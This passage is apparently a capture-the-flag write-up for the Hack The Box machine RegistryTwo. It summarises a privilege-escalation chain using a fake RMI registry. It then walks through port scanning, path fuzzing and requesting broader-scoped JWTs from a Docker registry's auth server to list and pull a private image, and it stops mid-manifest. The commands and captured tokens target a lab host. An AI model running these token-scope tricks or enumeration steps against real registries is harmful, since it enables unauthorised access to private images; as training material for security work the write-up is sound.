RegistryTwo
42 minutes to read
developer
, which is reused in SSH. Then, root
is executing a JAR file to analyze files of the hosting website by sending them to a ClamAV server. The problem here is that the JAR calls functions from the RMI register, which is restarted periodically. Therefore, we can craft a malicious RMI registry and exploit win a race condition to take the port, so that root
queries our malicious registry and talks to our fake ClamAV server. The result is that all files at /root
will be quarantined inside a readable directory, which leads to the privilege escalation- OS: Linux
- Difficulty: Insane
- IP Address: 10.10.11.223
- Release: 22 / 07 / 2023
Port scanning
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.223 -p 22,443,5000,5001
Nmap scan report for 10.10.11.223
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fa:b0:03:98:7e:60:c2:f3:11:82:27:a1:35:77:9f:d3 (RSA)
| 256 f2:59:06:dc:33:b0:9f:a3:5e:b7:63:ff:61:35:9d:c5 (ECDSA)
|_ 256 e3:ac:ab:ea:2b:d6:8e:f4:1f:b0:7b:05:0a:69:a5:37 (ED25519)
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to https://www.webhosting.htb/
| ssl-cert: Subject: organizationName=free-hosting/stateOrProvinceName=Berlin/countryName=DE
| Not valid before: 2023-02-01T20:19:22
|_Not valid after: 2024-02-01T20:19:22
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.14.0 (Ubuntu)
5000/tcp open ssl/http Docker Registry (API: 2.0)
| ssl-cert: Subject: commonName=*.webhosting.htb/organizationName=Acme, Inc./stateOrProvinceName=GD/countryName=CN
| Subject Alternative Name: DNS:webhosting.htb, DNS:webhosting.htb
| Not valid before: 2023-03-26T21:32:06
|_Not valid after: 2024-03-25T21:32:06
|_http-title: Site doesn't have a title.
5001/tcp open ssl/commplex-link?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=*.webhosting.htb/organizationName=Acme, Inc./stateOrProvinceName=GD/countryName=CN
| Subject Alternative Name: DNS:webhosting.htb, DNS:webhosting.htb
| Not valid before: 2023-03-26T21:32:06
|_Not valid after: 2024-03-25T21:32:06
| tls-alpn:
| h2
|_ http/1.1
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Tue, 25 Jul 2023 22:08:16 GMT
| Content-Length: 10
| found
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=utf-8
| Date: Tue, 25 Jul 2023 22:07:49 GMT
| Content-Length: 26
|_ <h1>Acme auth server</h1>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 108.34 seconds
This machine has ports 22 (SSH), 443 (HTTPS), 5000 and 5001 open.
Enumeration
If we go to https://10.10.11.223
, we are redirected to https://www.webhosting.htb
. After adding webhosting.htb
and www.webhosting.htb
into /etc/hosts
, we will see this landing page:
Let’s register an account:
And then log in:
Alright, we have access to our profile:
We can notice that we are given a cookie named JSESSIONID
, which indicates that the webserver is running Java (probably Tomcat, since the machine picture shows a cat holding a cup of coffee):
Here we have the ability to create domains and HTML files:
We can go to our profile and test the domain (after entering the domain in /etc/hosts
):
Docker registry
Let’s move one to the other ports for the moment. On port 5001 we find Acme auth server
:
$ curl -k https://10.10.11.223:5001
<h1>Acme auth server</h1>
Let’s apply fuzzing to enumerate more routes:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u https://10.10.11.223:5001/FUZZ -k
[Status: 200, Size: 1330, Words: 1, Lines: 1, Duration: 45ms]
* FUZZ: auth
:: Progress: [43007/43007] :: Job [1/1] :: 1005 req/sec :: Duration: [0:00:41] :: Errors: 0 ::
Alright, we have another endpoint, which shows a JWT token (both token
and access_token
fields have the same value):
If we apply fuzzing, we will see that this is a Docker registry:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u https://10.10.11.223:5000/FUZZ -k
[Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 36ms]
* FUZZ: .
[Status: 301, Size: 39, Words: 3, Lines: 3, Duration: 36ms]
* FUZZ: v2
:: Progress: [43007/43007] :: Job [1/1] :: 1025 req/sec :: Duration: [0:00:41] :: Errors: 0 ::
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u https://10.10.11.223:5000/v2/FUZZ -k
[Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 37ms]
* FUZZ: .
[Status: 401, Size: 145, Words: 2, Lines: 2, Duration: 40ms]
* FUZZ: _catalog
:: Progress: [43007/43007] :: Job [1/1] :: 1169 req/sec :: Duration: [0:00:41] :: Errors: 0 ::
If we try to access to /v2/_catalog
we will get an authentication/authorization error:
$ curl -k https://10.10.11.223:5000/v2/_catalog
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
Even if we specify the JWT token in the Authorization
header, we get the same error:
$ curl -k https://10.10.11.223:5000/v2/_catalog -iH 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiIiwiZXhwIjoxNjkwMzI1NjIzLCJuYmYiOjE2OTAzMjQ3MTMsImlhdCI6MTY5MDMyNDcyMywianRpIjoiMjg0MDQzMTczMjI1NjAxNDEzNyIsImFjY2VzcyI6W119.gLTb6ZMTD3P_dG437Na6vlQ7wh4OqOv76KsAY2uNUV0x0cfNn947M2k763lk5slLWYeuea73HCgv6AThTucSBnPJDzwIGBuF43wQLJ9_ycLsu0QCxEwkC6blh2k7d3n4PfVxhObchvaV1Qx_GtjIM_95tCH4pzQaZMMOPSfGGkNRv7LEsDK65mE6VDJL3IOLPkCqrUUMxeM-SZsSfe_A6sclCk8_QIrAHUQPntAQgzhA-u5vjx8ocrAewl6WVVXfu6rYc1bWegFlkR2DS-bjhhsHksX1Fmc_Ws5HuG2nq5vekiAgShKF4LP2dwOxoNozU1UQA1u4hYcdCadh0YWcpw'
HTTP/2 401
content-type: application/json; charset=utf-8
docker-distribution-api-version: registry/2.0
www-authenticate: Bearer realm="https://webhosting.htb:5001/auth",service="Docker registry",scope="registry:catalog:*",error="invalid_token"
x-content-type-options: nosniff
content-length: 145
date: Tue, 25 Jul 2023 22:42:20 GMT
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
The JWT token contains this information (taken from jwt.io):
Docker also provides authentication with JWT. Moreover, looking at the above JWT token, we can see that we don’t have permissions to access anything. In the Docker documentation, we find that:
The Claim Set will also contain a private claim name unique to this authorization server specification:
access
: An array of access entry objects with the following fields:
type
: The type of resource hosted by the service.
name
: The name of the resource of the given type hosted by the service.
actions
: An array of strings which give the actions authorized on this resource.
Looking again at the Docker documentation, we find a way to obtain a JWT token with a given scope:
https://auth.docker.io/token?service=registry.docker.io&scope=repository:samalba/my-app:pull,push
Matching the above request with the error we get, we can successfully build this request to get a better JWT token:
$ curl -k 'https://10.10.11.223:5001/auth?service=Docker+registry&scope=registry:catalog:*'
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI4NzI0LCJuYmYiOjE2OTAzMjc4MTQsImlhdCI6MTY5MDMyNzgyNCwianRpIjoiMjczNjY0ODcxMTIyNzI1MTQ0OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.qjEAM2X68R_lKM0G0RETWvpXIuDxPiVZeOpZgtRml7GPFGCkSSed_6YaPkypIjSYlWNi_kUHTRQWN9H5iaFL9NsD8mnzPuuxrnmlA30rtn8DEkdNZqUFsmJf-Do-1a6aC6jNSopPBKz-WpOHrCrBnQQav3AAv0L0CauK-r-rwFmYCTx30DmjkWA7JGFHWLXCUDL66lK74tzFiJM0xtd5XrLInPUZ6p9wD6ZLki967QHiS9lUQ7vFmPxkwTAJsNd_fCbUsh7FeEnkiMkXSYtQs9TglaluGrp9WB7J3koZ9qya3p7Bf93Br0XdbmJdoaFWJWgHz8mcwoAtHZNQg84BmA","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI4NzI0LCJuYmYiOjE2OTAzMjc4MTQsImlhdCI6MTY5MDMyNzgyNCwianRpIjoiMjczNjY0ODcxMTIyNzI1MTQ0OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.qjEAM2X68R_lKM0G0RETWvpXIuDxPiVZeOpZgtRml7GPFGCkSSed_6YaPkypIjSYlWNi_kUHTRQWN9H5iaFL9NsD8mnzPuuxrnmlA30rtn8DEkdNZqUFsmJf-Do-1a6aC6jNSopPBKz-WpOHrCrBnQQav3AAv0L0CauK-r-rwFmYCTx30DmjkWA7JGFHWLXCUDL66lK74tzFiJM0xtd5XrLInPUZ6p9wD6ZLki967QHiS9lUQ7vFmPxkwTAJsNd_fCbUsh7FeEnkiMkXSYtQs9TglaluGrp9WB7J3koZ9qya3p7Bf93Br0XdbmJdoaFWJWgHz8mcwoAtHZNQg84BmA"}
$ curl -k https://webhosting.htb:5000/v2/_catalog -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI4NzI0LCJuYmYiOjE2OTAzMjc4MTQsImlhdCI6MTY5MDMyNzgyNCwianRpIjoiMjczNjY0ODcxMTIyNzI1MTQ0OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.qjEAM2X68R_lKM0G0RETWvpXIuDxPiVZeOpZgtRml7GPFGCkSSed_6YaPkypIjSYlWNi_kUHTRQWN9H5iaFL9NsD8mnzPuuxrnmlA30rtn8DEkdNZqUFsmJf-Do-1a6aC6jNSopPBKz-WpOHrCrBnQQav3AAv0L0CauK-r-rwFmYCTx30DmjkWA7JGFHWLXCUDL66lK74tzFiJM0xtd5XrLInPUZ6p9wD6ZLki967QHiS9lUQ7vFmPxkwTAJsNd_fCbUsh7FeEnkiMkXSYtQs9TglaluGrp9WB7J3koZ9qya3p7Bf93Br0XdbmJdoaFWJWgHz8mcwoAtHZNQg84BmA'
{"repositories":["hosting-app"]}
Now it works because we have some information in the access
field within the Claim Set of the JWT token:
There is only one repository: hosting-app
. If we try to enumerate this, we will get another authorization error:
$ curl -k https://10.10.11.223:5000/v2/hosting-app/manifests/v2 -iH 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI4NzI0LCJuYmYiOjE2OTAzMjc4MTQsImlhdCI6MTY5MDMyNzgyNCwianRpIjoiMjczNjY0ODcxMTIyNzI1MTQ0OCIsImFjY2VzcyI6W3sidHlwZSI6InJlZ2lzdHJ5IiwibmFtZSI6ImNhdGFsb2ciLCJhY3Rpb25zIjpbIioiXX1dfQ.qjEAM2X68R_lKM0G0RETWvpXIuDxPiVZeOpZgtRml7GPFGCkSSed_6YaPkypIjSYlWNi_kUHTRQWN9H5iaFL9NsD8mnzPuuxrnmlA30rtn8DEkdNZqUFsmJf-Do-1a6aC6jNSopPBKz-WpOHrCrBnQQav3AAv0L0CauK-r-rwFmYCTx30DmjkWA7JGFHWLXCUDL66lK74tzFiJM0xtd5XrLInPUZ6p9wD6ZLki967QHiS9lUQ7vFmPxkwTAJsNd_fCbUsh7FeEnkiMkXSYtQs9TglaluGrp9WB7J3koZ9qya3p7Bf93Br0XdbmJdoaFWJWgHz8mcwoAtHZNQg84BmA'
HTTP/2 401
content-type: application/json; charset=utf-8
docker-distribution-api-version: registry/2.0
www-authenticate: Bearer realm="https://webhosting.htb:5001/auth",service="Docker registry",scope="repository:hosting-app:pull",error="insufficient_scope"
x-content-type-options: nosniff
content-length: 154
date: Tue, 25 Jul 2023 23:34:08 GMT
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"repository","Class":"","Name":"hosting-app","Action":"pull"}]}]}
So, we need to add permissions to the JWT token on this scope:
$ curl -k 'https://10.10.11.223:5001/auth?service=Docker+registry&scope=repository:hosting-app:pull'
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA"}
This machine is called RegistryTwo, which comes after Registry, another machine from Hack The Box that was all about a Docker registry. Here you can find some ways to enumerate Docker registries. From here, we can find the latest version of the hosting-app
image and download all blobs (layers of a Docker image):
$ curl -k https://10.10.11.223:5000/v2/hosting-app/manifests/latest -iH 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA'
HTTP/2 200
content-type: application/vnd.docker.distribution.manifest.v1+prettyjws
docker-content-digest: sha256:9c2f139166919ecdd1942eac8980803d0a6a0136cd0fd86e64c1c0977b4142b8
docker-distribution-api-version: registry/2.0
etag: "sha256:9c2f139166919ecdd1942eac8980803d0a6a0136cd0fd86e64c1c0977b4142b8"
x-content-type-options: nosniff
content-length: 26739
date: Tue, 25 Jul 2023 23:36:31 GMT
{
"schemaVersion": 1,
"name": "hosting-app",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba"
},
{
"blobSum": "sha256:4a19a05f49c2d93e67d7c9ea8ba6c310d6b358e811c8ae37787f21b9ad82ac42"
},
{
"blobSum": "sha256:9e700b74cc5b6f81ed6513fa03c7b6ab11a71deb8e27604632f723f81aca3268"
},
{
"blobSum": "sha256:b5ac54f57d23fa33610cb14f7c21c71aa810e58884090cead5e3119774a202dc"
},
{
"blobSum": "sha256:396c4a40448860471ae66f68c261b9a0ed277822b197730ba89cb50528f042c7"
},
{
"blobSum": "sha256:9d5bcc17fed815c4060b373b2a8595687502925829359dc244dd4cdff777a96c"
},
{
"blobSum": "sha256:ab55eca3206e27506f679b41b39ba0e4c98996fa347326b6629dae9163b4c0ec"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:f7b708f947c32709ecceaffd85287d5eb9916a3013f49c8416228ef22c2bf85e"
},
{
"blobSum": "sha256:497760bf469e19f1845b7f1da9cfe7e053beb57d4908fb2dff2a01a9f82211f9"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e4cc5f625cda9caa32eddae6ac29b170c8dc1102988b845d7ab637938f2f6f84"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:0da484dfb0612bb168b7258b27e745d0febf56d22b8f10f459ed0d1dfe345110"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:7b43ca85cb2c7ccc62e03067862d35091ee30ce83e7fed9e135b1ef1c6e2e71b"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:fa7536dd895ade2421a9a0fcf6e16485323f9e2e45e917b1ff18b0f648974626"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:5de5f69f42d765af6ffb6753242b18dd4a33602ad7d76df52064833e5c527cb4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:ff3a5c916c92643ff77519ffa742d3ec61b7f591b6b7504599d95a4a41134e28"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"app\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"ExposedPorts\":{\"8080/tcp\":{}},\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin\",\"LANG=C.UTF-8\",\"JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jre\",\"JAVA_VERSION=8u151\",\"JAVA_ALPINE_VERSION=8.151.12-r0\",\"CATALINA_HOME=/usr/local/tomcat\",\"TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib\",\"LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib\",\"GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23\",\"TOMCAT_MAJOR=9\",\"TOMCAT_VERSION=9.0.2\",\"TOMCAT_SHA1=b59e1d658a4edbca7a81d12fd6f20203a4da9743\",\"TOMCAT_TGZ_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz\",\"TOMCAT_ASC_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc\"],\"Cmd\":[\"catalina.sh\",\"run\"],\"Image\":\"sha256:57f3a04ba3229928a30942945b0fb3c74bd61cec80cbc5a41d7d61a2d1c3ec4f\",\"Volumes\":null,\"WorkingDir\":\"/usr/local/tomcat\",\"Entrypoint\":null,\"OnBuild\":[],\"Labels\":null},\"container\":\"2f8f037b0e059fa89bc318719f991b783cd3c4b92de4a6776cc5ec3a8530d6ba\",\"container_config\":{\"Hostname\":\"2f8f037b0e05\",\"Domainname\":\"\",\"User\":\"app\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"ExposedPorts\":{\"8080/tcp\":{}},\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin\",\"LANG=C.UTF-8\",\"JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jre\",\"JAVA_VERSION=8u151\",\"JAVA_ALPINE_VERSION=8.151.12-r0\",\"CATALINA_HOME=/usr/local/tomcat\",\"TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib\",\"LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib\",\"GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23\",\"TOMCAT_MAJOR=9\",\"TOMCAT_VERSION=9.0.2\",\"TOMCAT_SHA1=b59e1d658a4edbca7a81d12fd6f20203a4da9743\",\"TOMCAT_TGZ_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz 